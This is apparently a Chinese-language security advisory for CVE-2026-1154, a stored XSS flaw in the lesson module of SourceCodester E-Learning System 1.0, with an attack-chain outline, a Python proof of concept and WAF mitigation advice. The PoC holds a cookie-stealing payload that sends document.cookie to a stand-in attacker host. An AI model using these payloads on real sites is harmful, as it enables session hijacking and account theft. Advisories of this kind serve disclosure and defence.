IPBUF安全漏洞报告
English
CVE-2026-1154 CVSS 4.3 中危

CVE-2026-1154 SourceCodester E-Learning System 1.0 跨站脚本漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-1154
漏洞类型
XSS跨站脚本攻击
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester E-Learning System 1.0

相关标签

CVE-2026-1154XSS跨站脚本攻击存储型XSSSourceCodesterE-Learning SystemWeb应用安全CVE-2026

漏洞概述

CVE-2026-1154是SourceCodester E-Learning System 1.0中发现的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于管理后台的课程模块(Lesson Module)中,具体位置为/admin/modules/lesson/index.php文件。攻击者可以通过在Title或Description参数中注入恶意JavaScript代码,当其他用户访问相关页面时,恶意脚本将在受害者浏览器中执行。这可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全问题。由于该漏洞需要用户交互且攻击复杂度较低,CVSS评分4.3,属于中等严重程度。漏洞利用代码已公开,建议尽快修复。

技术细节

该漏洞是典型的存储型XSS(Stored Cross-Site Scripting)漏洞,存在于E-Learning System的课程管理模块中。攻击者无需认证即可访问/admin/modules/lesson/index.php页面,通过在创建或编辑课程时在Title或Description字段中插入恶意JavaScript代码(如<script>alert(document.cookie)</script>)。由于系统未对用户输入进行充分的输入验证和输出编码,恶意脚本被存储在数据库中。当管理员或其他用户访问课程列表页面时,服务器从数据库读取并输出未经过滤的内容,导致恶意脚本在用户浏览器中执行。攻击者可利用此漏洞窃取用户会话Cookie、劫持用户账号或进行进一步的社会工程攻击。漏洞利用复杂度低,可通过网络远程执行,但需要用户交互。

攻击链分析

STEP 1
步骤1
攻击者访问目标网站的管理后台/admin/modules/lesson/index.php
STEP 2
步骤2
在课程创建或编辑页面的Title或Description字段中注入恶意JavaScript代码
STEP 3
步骤3
提交包含XSS payload的表单请求,系统未进行输入验证直接存储到数据库
STEP 4
步骤4
当管理员或普通用户访问课程列表或详情页面时,服务器从数据库读取并输出未过滤的内容
STEP 5
步骤5
受害者浏览器执行注入的恶意脚本,攻击者可窃取Cookie、会话令牌或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-1154 PoC - SourceCodester E-Learning System XSS # Target: /admin/modules/lesson/index.php # Payload: Stored XSS in Title/Description field import requests import sys from urllib.parse import quote target_url = "http://target.com/admin/modules/lesson/index.php" # XSS payload - steals cookies xss_payload = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" # Simple alert payload for testing alert_payload = "<script>alert('XSS CVE-2026-1154')</script>" def test_xss(): """Test for XSS vulnerability in lesson module""" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0' } # Payload data for lesson creation/edit data = { 'title': alert_payload, 'description': '<img src=x onerror="alert(document.domain)">', 'save': '1' } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {alert_payload}") print(f"[*] Status: {response.status_code}") # Check if payload is reflected in response if alert_payload in response.text: print("[+] XSS vulnerability confirmed!") print("[+] Payload stored and reflected in response") else: print("[-] Payload not found in response") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": test_xss()

影响范围

SourceCodester E-Learning System 1.0

防御指南

临时缓解措施
临时缓解措施:在Web应用防火墙(WAF)中配置XSS过滤规则,对<script>、javascript:、onerror等危险关键字进行拦截。同时限制管理后台访问权限,仅允许可信IP地址访问。对所有用户输入实施严格的输入长度限制和字符类型验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表